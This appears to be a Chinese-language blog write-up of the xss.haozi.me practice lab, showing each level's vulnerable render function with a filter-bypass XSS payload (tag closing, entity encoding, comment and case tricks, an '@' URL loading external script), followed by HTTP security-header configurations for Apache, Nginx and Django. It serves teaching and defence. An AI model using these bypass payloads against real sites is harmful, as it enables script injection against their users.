xss.haozi.me靶机XSS练习心得和预防XSS的配置

xss.haozi.me靶机XSS练习心得

  1.  //server code
     function render (input) {
       return '<div>' + input + '</div>'
     }
    

    第一题测试js的语法,js都是利用<script>标签的,poc:<script>alert(1)</script>

  2.  function render (input) {
       return '<textarea>' + input + '</textarea>'
     }
    

    第二题测试的是textarea标签,这个标签内,所有的脚本语言都是字符串,无法被调用执行,所以使用他的闭合标签进行闭合,然后再闭合后输入js代码: </textarea><script>alert(1)</script>

  3.  function render (input) {
       return '<input type="name" value="' + input + '">'
     }
    

    考察es6语法中 符号进行字符串拼接,以及html标签事件属性 poc" onmouseover="alert`1``

  4.  function render (input) {
       const stripBracketsRe = /[()]/g
       input = input.replace(stripBracketsRe, '')
       return input
     }
    

    考察正则语法,替换了会把圆括号替换为空

    <input><img src="https://www.baidu.com/" onerror=alert&#x28;&#x31;&#x29;></input>
    <body onpageshow=alert&#x28;&#x31;&#x29;>
    <input><img src="https://www.baidu.com/" onerror=alert`1`;></input>
    <input><img src="https://www.baidu.com/" onerror=alert`1`;></input>
    
  5.  function render (input) {
       const stripBracketsRe = /[()`]/g
       input = input.replace(stripBracketsRe, '')
       return input
     }
    

    正则替换规则多了一个`,考虑使用实体符号进行绕过,也可以考虑svg标签,body标签

    <input><img src="https://www.baidu.com/" onerror=alert&#x28;&#x31;&#x29;;></input>

  6.  function render (input) {
       input = input.replace(/-->/g, '😂')
       return '<!-- ' + input + ' -->'
     }
    

    正则替换了-->,这个是html的注释符,注释符有2中写法,分别是

    一种是<!-- 注释的内容 --> 另一种是<!-- 注释的内容 --!> 所以我们用第二种注释去提前闭合

    poc: --!><script>alert(1)</script>

  7.  function render (input) {
       input = input.replace(/auto|on.*=|>/ig, '_')
       return `<input value=1 ${input} type="text">`
     }
    

    此处正则替换的是auto,on.*=和>字符,忽略大小写 auto替换无法使用auto开头的事件属性,on开头的事件属性也无法使用

    另外利用html语言只要关键字和语法正确,不受空格和换行符影响的特性

    poc:

    type="image" src="xxx" onerror
    =alert(1)
    
  8.  function render (input) {
       const stripTagsRe = /<\/?[^>]+>/gi
       input = input.replace(stripTagsRe, '')
       return `<article>${input}</article>`
     }
    

    此处正则替换的是<开头 以>结尾的中间是非">"得多个字符串

    这里还是利用html语言特性最后一行的标签的闭合标签可以不写">"

    poc: <article><img src=1 onerror="alert(1)"</article>

  9.  function render (src) {
       src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
       return `
         <style>
           ${src}
         </style>
       `
     }
    

    这题中的html中已经有了一个<style>标签,根据第7题的规则,我们可以用</style\r\n>进行闭合绕过

    poc:

    </style
    ><script>alert(1)</script>
    
  10. function render (input) {
      let domainRe = /^https?:\/\/www\.segmentfault\.com/
      if (domainRe.test(input)) {
        return `<script src="${input}"></script>`
      }
      return 'Invalid URL'
    }
    

    正则中字符串中必须要有https?://www.segmentfault.com/ 意味着payload必须要写在后头,所以用/script>进行闭合

    poc:https://www.segmentfault.com/script> <img src="xxx" onerror="alert(1)"

    因为语法正确,回车 空格都可以,所以poc里也可以任意添加空格和回车

  11. function render (input) {
      function escapeHtml(s) {
        return s.replace(/&/g, '&amp;')
                .replace(/'/g, '&#39;')
                .replace(/"/g, '&quot;')
                .replace(/</g, '&lt;')
                .replace(/>/g, '&gt;')
                .replace(/\//g, '&#x2f')
      }
      const domainRe = /^https?:\/\/www\.segmentfault\.com/
      if (domainRe.test(input)) {
        return `<script src="${escapeHtml(input)}"></script>`
      }
      return 'Invalid URL'
    }
    
    • 这题正则中会替换& ` " < > /为实体符号,意味着我们写入实体符号,其中的&字符就会被替换,导致无法正常解析,并且和上一题一样必须开头字符串必须是 https?://www.segmentfault.com/

    • 先介绍一个url语法中@字符作用,可以用来隔断域名,前后2个域名会忽略前面那个.注意一个细节2个域名的协议必须是一致的,必须都是http或者https

    • 我们可以自己部署一个域名带上js, js中写上弹窗进行访问即可

      poc: https?://www.segmentfault.com/@www.xxx.com/test.js

  12. function render (input) {
      input = input.toUpperCase()
      return `<h1>${input}</h1>`
    }
    
  • 题中进行了转换成大写操作,html中标签和属性名不区分大小写,但是path部分区分大小写,比如<IMG SRC="1" ONERROR=alert(2)>

    等号后面的就是path内容

  • 这题可以尝试第10题用script标签的src添加外部js链接

  • 也可以用poc: <img src="x" onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;> 这个poc原理是js进行解析前会先对unicode进行解码,html中的Unicode格式为 &#编码的十进制数值,一般的格式还有直接\u开头的16进制四位编码,一定是四位

  1. function render (input) {
      input = input.replace(/script/ig, '')
      input = input.toUpperCase()
      return '<h1>' + input + '</h1>'
    }
    
  • 和12题相比多了个script的过滤,我们可以双写+unicode编码绕过

    poc: <scscriptript src="33" onerror = &#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;></scscriptript>

防止XSS利用的配置

以下是一些常见的 HTTP 响应头以及针对 Apache、Nginx 和 Django 的配置方法,可帮助防止 XSS 攻击:

X-XSS-Protection

Apache:

Header set X-XSS-Protection "1; mode=block"
Nginx:

add_header X-XSS-Protection "1; mode=block";
Django:

SECURE_BROWSER_XSS_FILTER = True
Strict-Transport-Security(HSTS)

Apache:

Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" env=HTTPS
Nginx:

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
Django:

SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
Content-Security-Policy(CSP)

Apache:

Header set Content-Security-Policy "default-src 'self'; frame-ancestors 'none'"
Nginx:

add_header Content-Security-Policy "default-src 'self'; frame-ancestors 'none'" always;
Django:

CSP_DEFAULT_SRC = ("'self'", )
CSP_FRAME_ANCESTORS = ("'none'", )
X-Frame-Options

Apache:

Header always set X-Frame-Options DENY
Nginx:

add_header X-Frame-Options "DENY" always;
Django:

X_FRAME_OPTIONS = 'DENY'
X-Content-Type-Options

Apache:

Header set X-Content-Type-Options nosniff
Nginx:

add_header X-Content-Type-Options "nosniff" always;
Django:

SECURE_CONTENT_TYPE_NOSNIFF = True
X-Download-Options

Apache:

Header set X-Download-Options noopen
Nginx:

add_header X-Download-Options "noopen" always;
Django:

Not applicable (this header is not relevant to Django)
Referer-Policy

Apache:

Header set Referrer-Policy "strict-origin-when-cross-origin"
Nginx:

add_header Referrer-Policy "strict-origin-when-cross-origin" always;
Django:

REFERRER_POLICY = 'strict-origin-when-cross-origin'
X-Permitted-Cross-Domain-Policies

Apache:

Header set X-Permitted-Cross-Domain-Policies none
Nginx:

add_header X-Permitted-Cross-Domain-Policies "none" always;
Django:

Not applicable (this header is not relevant to Django)
以上是一些常见的 HTTP 响应头及其配置方式,但具体的使用方法可能因 Web 服务器版本和框架而异。

posted @ 2021-12-03 16:46  零哭谷  阅读(553)  评论(0编辑  收藏  举报